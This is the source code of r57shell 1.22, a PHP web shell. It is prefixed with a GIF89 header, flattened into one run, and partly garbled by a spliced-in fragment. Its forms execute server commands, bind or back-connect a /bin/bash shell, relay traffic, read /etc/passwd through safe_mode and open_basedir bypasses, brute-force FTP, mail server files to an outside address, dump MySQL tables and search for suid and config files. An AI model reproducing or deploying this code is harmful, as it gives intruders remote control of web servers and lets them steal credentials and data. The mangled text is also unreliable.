sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))) /necho sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])) /necho $te.'</div>'.$table_end1.$fe /nif($safe_mode&&$unix&&function_exists('mb_send_mail')){ /necho $fs.$table_up1.div_title($lang[$language.'_text112'],'id22').$table_up2.div('id22').$ts /necho sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])) /necho $te.'</div>'.$table_end1.$fe /nif($safe_mode&&function_exists('imap_list')){ /necho $fs.$table_up1.div_title($lang[$language.'_text113'],'id23').$table_up2.div('id23').$ts /necho sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])) /necho $te.'</div>'.$table_end1.$fe /nif($safe_mode&&function_exists('imap_body')){ /necho $fs.$table_up1.div_title($lang[$language.'_text114'],'id24').$table_up2.div('id24').$ts /necho sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])) /necho $te.'</div>'.$table_end1.$fe /necho $fs.$table_up1.div_title($lang[$language.'_text115'],'id25').$table_up2.div('id25').$ts /necho sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8')) /necho sr(15,"<b>".$lang[$language.'_text117'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8'])) /necho $te.'</div>'.$table_end1.$fe /nif(@ini_get('file_uploads')){ /necho "<form name=upload method=POST ENCTYPE=multipart/form-data>" /necho $table_up1.div_title($lang[$language.'_text5'],'id14').$table_up2.div('id14').$ts /necho sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,'')) /necho sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])) /necho $te.'</div>'.$table_end1.$fe /nif(!$safe_mode&&$unix){ /necho $fs.$table_up1.div_title($lang[$language.'_text15'],'id15').$table_up2.div('id15').$ts /necho sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size="1" name="with"><option value="wget">wget</option><option value="fetch">fetch</option><option value="lynx">lynx</option><option value="links">links</option><option value="curl">curl</option><option value="GET">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://')) /necho sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])) /necho $te.'</div>'.$table_end1.$fe /necho $fs.$table_up1.div_title($lang[$language.'_text86'],'id16').$table_up2.div('id16').$ts /necho sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14'])) /n$arh = $lang[$language.'_text92'] /nif(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip' /nif(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip' /nif(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip' /necho sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh) /necho $te.'</div>'.$table_end1.$fe /nif(@function_exists("ftp_connect")){ /necho $table_up1.div_title($lang[$language.'_text93'],'id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=50%>".$ts /necho "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>" /necho sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))) /necho sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))) /necho sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))) /necho sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down')) /necho sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)) /necho sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)) /necho sr(25,"",in('submit','submit',0,$lang[$language.'_butt14'])) /necho $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts /necho "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>" /necho sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))) /necho sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))) /necho sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))) /necho sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)) /necho sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up')) /necho sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)) /necho sr(25,"",in('submit','submit',0,$lang[$language.'_butt2'])) /necho $te."</td>".$fe."</tr></div></table>" /nif($unix && @function_exists("ftp_connect")){ /necho $fs.$table_up1.div_title($lang[$language.'_text94'],'id18').$table_up2.div('id18').$ts /necho sr(15,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1'])) /necho sr(15,"","<font face=tahoma size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>") /necho sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']) /necho $te.'</div>'.$table_end1.$fe /nif(@function_exists("mail")){ /necho $table_up1.div_title($lang[$language.'_text102'],'id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts /necho "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>" /necho sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir)) /necho sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))) /necho sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy")))) /necho sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>') /necho sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])) /necho $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts /necho "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>" /necho sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir)) /necho sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))) /necho sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell")))) /necho sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)) /necho sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh) /necho sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])) /necho $te."</td>".$fe."</tr></div></table>" /nif($mysql_on||$mssql_on||$pg_on||$ora_on) /n$select = '<select name=db>' /nif($mysql_on) $select .= '<option>MySQL</option>' /nif($mssql_on) $select .= '<option>MSSQL</option>' /nif($pg_on) $select .= '<option>PostgreSQL</option>' /nif($ora_on) $select .= '<option>Oracle</option>' /n$select .= '</select>' /necho $table_up1.div_title($lang[$language.'_text82'],'id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=50%>".$ts /necho "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>" /necho sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select) /necho sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))) /necho sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))) /necho sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))) /necho sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))) /necho sr(35,"",in('submit','submit',0,$lang[$language.'_butt9'])) /necho $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts /necho "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>" /necho sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select) /necho sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))) /necho sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))) /necho sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))) /necho sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"") /necho $te."<div align=center id='n'><textarea cols=55 rows=1 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES /nif(!$safe_mode&&$unix){ /necho $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts /necho "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>" /necho sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'11457')) /necho sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'r57')) /necho sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>".in('hidden','dir',0,$dir)) /necho sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])) /necho $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts /necho "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>" /necho sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))) /necho sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457')) /necho sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>".in('hidden','dir',0,$dir)) /necho sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])) /necho $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts /necho "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>" /necho sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'11457')) /necho sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru')) /necho sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667')) /necho sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size="1" name="use"><option value="Perl">datapipe.pl</option><option value="C">datapipe.c</option></select>".in('hidden','dir',0,$dir)) /necho sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])) /necho $te."</td>".$fe."</tr></div></table>" /n /n$u1p="" /n$tymczas="" /necho "<PRE>n" /nif(empty($snn)){ /nif(empty($_GET['snn'])){ /nif(empty($_POST['snn'])){ /ndie("nSnIpEr_SA") /n$u1p=$_POST['snn'] /n$u1p=$_GET['snn'] /n$temp=tempnam($tymczas, "cx") /nif(copy("compress.zlib://".$snn, $temp)){ /n$zrodlo = fopen($temp, "r") /n$tekst = fread($zrodlo, filesize($temp)) /nfclose($zrodlo) /necho "".htmlspecialchars($tekst)."" /nunlink($temp) /ndie("<FONT COLOR="RED"><CENTER> /n /n?> /nGIF89 /n<?php /n/* # # # # /n/* # # # # /n/* # # # # /n/* # ## #### ## # /n/* ## ## ###### ## ## /n/* ## ## #### ## ## /n/* ### ############ ### /n/* ######################## /n/* ############## /n/* ######## ########## ####### /n/* ### ## ########## ## ### /n/* ### # ########## # ### /n/* ### ## ######## ## ### /n/* ## # ###### # ## /n/* ## # #### # ## /n/* ## ## /n/* r57shell.php - ?????? ?? ??? ??????????? ??? ????????? ???? ??????? ?? ??????? ????? ??????? /n/* ?? ?????? ??????? ????? ?????? ?? ????? ?????: http://rst.void.ru /n/* ??????: 1.22 /n/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ /n/* (c)oded by 1dt.w0lf /n/* RST/GHC http://rst.void.ru , http://ghc.ru /n/* ~~~ ????????? ~~~ */ /n@ini_set('max_execution_time',0) /n@ini_set('output_buffering',0) /n$safe_mode = @ini_get('safe_mode') /n$version = "1.22" /n// $HTTP_POST_VARS --> $_POST /nif(version_compare(phpversion(), '4.1.0') == -1) /n$_POST = &$HTTP_POST_VARS /n$_GET = &$HTTP_GET_VARS /n$_SERVER = &$HTTP_SERVER_VARS /n/* magic_quotes */ /nforeach ($_POST as $k=>$v) /n$_POST[$k]=stripslashes($v) /n/* ~~~ ?????????????? ~~~ */ /n$head = '<!-- ?????????? ???? --> /n<html> /n<head> /n<title>r57shell</title> /n<meta http-equiv="Content-Type" content="text/html /n<STYLE> /nBORDER-RIGHT: #aaaaaa 1px solid /nBORDER-TOP: #eeeeee 1px solid /nBORDER-LEFT: #eeeeee 1px solid /nBORDER-BOTTOM: #aaaaaa 1px solid /nBORDER-RIGHT: #eeeeee 1px outset /nBORDER-TOP: #eeeeee 1px outset /nBORDER-LEFT: #eeeeee 1px outset /nBORDER-BOTTOM: #eeeeee 1px outset /nBACKGROUND-COLOR: #D4D0C8 /nBORDER-RIGHT: #ffffff 1px solid /nBORDER-TOP: #999999 1px solid /nBORDER-LEFT: #999999 1px solid /nBORDER-BOTTOM: #ffffff 1px solid /nBACKGROUND-COLOR: #e4e0d8 /nfont: 8pt Verdana /nBORDER-RIGHT: buttonhighlight 2px outset /nBORDER-TOP: buttonhighlight 2px outset /nBORDER-LEFT: buttonhighlight 2px outset /nBORDER-BOTTOM: buttonhighlight 2px outset /nwidth: 30% /nmargin-top: 1px /nmargin-right: 1px /nmargin-bottom: 1px /nmargin-left: 1px /n</STYLE>' /n/* show phpinfo */ /nif(isset($_GET['phpinfo'])) { echo @phpinfo() /n/* delete script */ /nif(isset($_GET['delete'])) /n@unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1)) /n/* delete tmp files */ /nif(isset($_GET['tmp'])) /n@unlink("/tmp/bdpl") /n@unlink("/tmp/back") /n@unlink("/tmp/bd") /n@unlink("/tmp/bd.c") /n@unlink("/tmp/dp") /n@unlink("/tmp/dpc") /n@unlink("/tmp/dpc.c") /n/* show php.ini vars */ /nif(isset($_GET['phpini'])) /nif ($value == '') return '<i>no value</i>' /nif (@is_bool($value)) return $value ? 'TRUE' : 'FALSE' /nif ($value === null) return 'NULL' /n$str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true) /nreturn @preg_replace('!(&[^ /nif (@function_exists('ini_get_all')) /n$r = '' /necho '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>' /nforeach (@ini_get_all() as $key=>$value) /n$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>' /necho '</table>' /necho "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>" /n/* info about cpu */ /nif(isset($_GET['cpu'])) /necho '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>' /n$cpuf = @file("cpuinfo") /n$info = @explode(":",$cpuf[$i]) /n$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>' /necho '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>' /necho '</table>' /necho "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>" /n/* info about mem */ /nif(isset($_GET['mem'])) /necho '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>' /n$memf = @file("meminfo") /n$info = explode(":",$memf[$i]) /n$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>' /necho '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>' /necho '</table>' /necho "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>" /n????? ????? /n$language='ru' - ??????? /n$language='eng' - ?????????? /n$language='eng' /n'ru_text1' =>'??????????? ???????', /n'ru_text2' =>'?????????? ?????? ?? ???????', /n'ru_text3' =>'????????? ???????', /n'ru_text4' =>'??????? ??????????', /n'ru_text5' =>'???????? ?????? ?? ??????', /n'ru_text6' =>'????????? ????', /n'ru_text7' =>'??????', /n'ru_text8' =>'???????? ?????', /n'ru_butt1' =>'?????????', /n'ru_butt2' =>'?????????', /n'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash', /n'ru_text10'=>'??????? ????', /n'ru_text11'=>'?????? ??? ???????', /n'ru_butt3' =>'???????', /n'ru_text12'=>'back-connect', /n'ru_text13'=>'IP-?????', /n'ru_text14'=>'????', /n'ru_butt4' =>'?????????', /n'ru_text15'=>'???????? ?????? ? ?????????? ???????', /n'ru_text16'=>'????????????', /n'ru_text17'=>'????????? ????', /n'ru_text18'=>'????????? ????', /n'ru_text19'=>'Exploits', /n'ru_text20'=>'????????????', /n'ru_text21'=>'????? ???', /n'ru_text22'=>'datapipe', /n'ru_text23'=>'????????? ????', /n'ru_text24'=>'????????? ????', /n'ru_text25'=>'????????? ????', /n'ru_text26'=>'????????????', /n'ru_butt5' =>'?????????', /n'ru_text28'=>'?????? ? safe_mode', /n'ru_text29'=>'?????? ????????', /n'ru_butt6' =>'???????', /n'ru_text30'=>'???????? ?????', /n'ru_butt7' =>'???????', /n'ru_text31'=>'???? ?? ??????', /n'ru_text32'=>'?????????? PHP ????', /n'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL', /n'ru_butt8' =>'?????????', /n'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include', /n'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql', /n'ru_text36'=>'  /n'ru_text37'=>'?????', /n'ru_text38'=>'??????  /n'ru_text39'=>'???????', /n'ru_text40'=>'???? ??????? mysql ???????', /n'ru_butt9' =>'????', /n'ru_text41'=>'????????? ???? ? ?????', /n'ru_text42'=>'?????????????? ?????', /n'ru_text43'=>'????????????? ????', /n'ru_butt10'=>'?????????', /n'ru_butt11'=>'?????????????', /n'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!', /n'ru_text45'=>'???? ????????', /n'ru_text46'=>'???????? phpinfo()', /n'ru_text47'=>'???????? ???????? php.ini', /n'ru_text48'=>'???????? ????????? ??????', /n'ru_text49'=>'???????? ??????? ? ???????', /n'ru_text50'=>'?????????? ? ??????????', /n'ru_text51'=>'?????????? ? ??????', /n'ru_text52'=>'????? ??? ??????', /n'ru_text53'=>'?????? ? ?????', /n'ru_text54'=>'????? ?????? ? ??????', /n'ru_butt12'=>'?????', /n'ru_text55'=>'?????? ? ??????', /n'ru_text56'=>'?????? ?? ???????', /n'ru_text57'=>'???????/??????? ????/??????????', /n'ru_text58'=>'???', /n'ru_text59'=>'????', /n'ru_text60'=>'??????????', /n'ru_butt13'=>'???????/???????', /n'ru_text61'=>'???? ??????', /n'ru_text62'=>'?????????? ???????', /n'ru_text63'=>'???? ??????', /n'ru_text64'=>'?????????? ???????', /n'ru_text65'=>'???????', /n'ru_text66'=>'???????', /n'ru_text67'=>'Chown/Chgrp/Chmod', /n'ru_text68'=>'???????', /n'ru_text69'=>'????????1', /n'ru_text70'=>'????????2', /n'ru_text71'=>"?????? ???????? ???????:rn- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) rn- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) rn- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)", /n'ru_text72'=>'????? ??? ??????', /n'ru_text73'=>'?????? ? ?????', /n'ru_text74'=>'?????? ? ??????', /n'ru_text75'=>'* ????? ???????????? ?????????? ?????????', /n'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find', /n'eng_text1' =>'Executed command', /n'eng_text2' =>'Execute command on server', /n'eng_text3' =>'  /n'eng_text4' =>'Work directory', /n'eng_text5' =>'Upload files on server', /n'eng_text6' =>'Local file', /n'eng_text7' =>'Aliases', /n'eng_text8' =>'Select alias', /n'eng_butt1' =>'Execute', /n'eng_butt2' =>'Upload', /n'eng_text9' =>'Bind port to /bin/bash', /n'eng_text10'=>'Port', /n'eng_text11'=>'Password for access', /n'eng_butt3' =>'Bind', /n'eng_text12'=>'back-connect', /n'eng_text13'=>'IP', /n'eng_text14'=>'Port', /n'eng_butt4' =>'Connect', /n'eng_text15'=>'Upload files from remote server', /n'eng_text16'=>'  /n'eng_text17'=>'  /n'eng_text18'=>'  /n'eng_text19'=>'Exploits', /n'eng_text20'=>'  /n'eng_text21'=>'  /n'eng_text22'=>'datapipe', /n'eng_text23'=>'Local port', /n'eng_text24'=>'Remote host', /n'eng_text25'=>'Remote port', /n'eng_text26'=>'Use', /n'eng_butt5' =>'Run', /n'eng_text28'=>'Work in safe_mode', /n'eng_text29'=>'ACCESS DENIED', /n'eng_butt6' =>'Change', /n'eng_text30'=>'  /n'eng_butt7' =>' Show ', /n'eng_text31'=>'File not found', /n'eng_text32'=>'Eval PHP code', /n'eng_text33'=>'Test bypass open_basedir with cURL functions', /n'eng_butt8' =>'Test', /n'eng_text34'=>'Test bypass safe_mode with include function', /n'eng_text35'=>'Test bypass safe_mode with load file in mysql', /n'eng_text36'=>'Database', /n'eng_text37'=>'Login', /n'eng_text38'=>'Password', /n'eng_text39'=>'Table', /n'eng_text40'=>'Dump table from mysql server', /n'eng_butt9' =>'Dump', /n'eng_text41'=>'Save dump in file', /n'eng_text42'=>'Edit files', /n'eng_text43'=>'File for edit', /n'eng_butt10'=>'Save', /n'eng_text44'=>'Can't edit file! Only read access!', /n'eng_text45'=>'File saved', /n'eng_text46'=>'Show phpinfo()', /n'eng_text47'=>'Show variables from php.ini', /n'eng_text48'=>'Delete temp files', /n'eng_butt11'=>'Edit file', /n'eng_text49'=>'Delete script from server', /n'eng_text50'=>'View cpu info', /n'eng_text51'=>'View memory info', /n'eng_text52'=>'Find text', /n'eng_text53'=>'In dirs', /n'eng_text54'=>'Find text in files', /n'eng_butt12'=>'Find', /n'eng_text55'=>'Only in files', /n'eng_text56'=>'Nothing :(', /n'eng_text57'=>'Create/Delete File/Dir', /n'eng_text58'=>'name', /n'eng_text59'=>'file', /n'eng_text60'=>'dir', /n'eng_butt13'=>'Create/Delete', /n'eng_text61'=>'File created', /n'eng_text62'=>'Dir created', /n'eng_text63'=>'File deleted', /n'eng_text64'=>'Dir deleted', /n'eng_text65'=>'Create', /n'eng_text66'=>'Delete', /n'eng_text67'=>'Chown/Chgrp/Chmod', /n'eng_text68'=>'Command', /n'eng_text69'=>'param1', /n'eng_text70'=>'param2', /n'eng_text71'=>"Second commands param is:rn- for CHOWN - name of new owner or UIDrn- for CHGRP - group name or GIDrn- for CHMOD - 0777, 0755...", /n'eng_text72'=>'Text for find', /n'eng_text73'=>'Find in folder', /n'eng_text74'=>'Find in files', /n'eng_text75'=>'* you can use regexp', /n'eng_text76'=>'Search text in files via find', /n/* ????? ?? ??????? ???? ?????? ? suid ????? */ /n'find suid files'=>'find / -type f -perm -04000 -ls', /n/* ????? ? ??????? ?????????? ???? ?????? ? suid ????? */ /n'find suid files in current dir'=>'find . -type f -perm -04000 -ls', /n/* ????? ?? ??????? ???? ?????? ? sgid ????? */ /n'find sgid files'=>'find / -type f -perm -02000 -ls', /n/* ????? ? ??????? ?????????? ???? ?????? ? sgid ????? */ /n'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', /n/* ????? ?? ??????? ?????? config.inc.php */ /n'find config.inc.php files'=>'find / -type f -name config.inc.php', /n/* ????? ? ??? ???? config.inc.php */ /n'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', /n/* ????? ?? ??????? ?????? config* */ /n'find config* files'=>'find / -type f -name "config*"', /n/* ????? ? ??????? ?????????? 